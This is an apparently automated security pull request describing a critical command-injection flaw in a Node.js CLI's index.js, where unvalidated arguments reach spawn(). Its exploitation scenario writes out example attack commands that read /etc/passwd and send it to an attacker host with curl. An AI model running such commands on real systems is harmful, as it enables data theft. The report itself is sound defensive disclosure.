fix: the application takes command-line arguments di... in index.js

[anupamme]

Summary

Fix critical severity security issue in index.js.

Vulnerability

Field	Value
ID	V-001
Severity	CRITICAL
Scanner	multi_agent_ai
Rule	V-001
File	index.js:19
Assessment	Likely exploitable

Description: The application takes command-line arguments directly from process.argv without any validation or sanitization. User-controlled input is captured and used in multiple spawn() calls. Most critically, if no predefined command pattern is matched, the first argument is directly used as the command to execute, allowing attackers to run arbitrary system commands.

Evidence

Exploitation scenario: An attacker who can invoke this CLI tool can execute arbitrary commands: node index.js /bin/bash -c 'cat /etc/passwd' or node index.js curl http://attacker.com/exfil?data=$(cat /etc/passwd).

Scanner confirmation: multi_agent_ai rule V-001 flagged this pattern.

Production code: This file is in the production codebase, not test-only code.

Threat Model Context

This is a Node.js library - vulnerabilities affect downstream consumers who use this package.

Changes

• index.js

Behavior Preservation

The change is scoped to 1 file on the vulnerable path; it only tightens handling of untrusted input and leaves valid inputs unaffected.

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Automated security fix by OrbisAI Security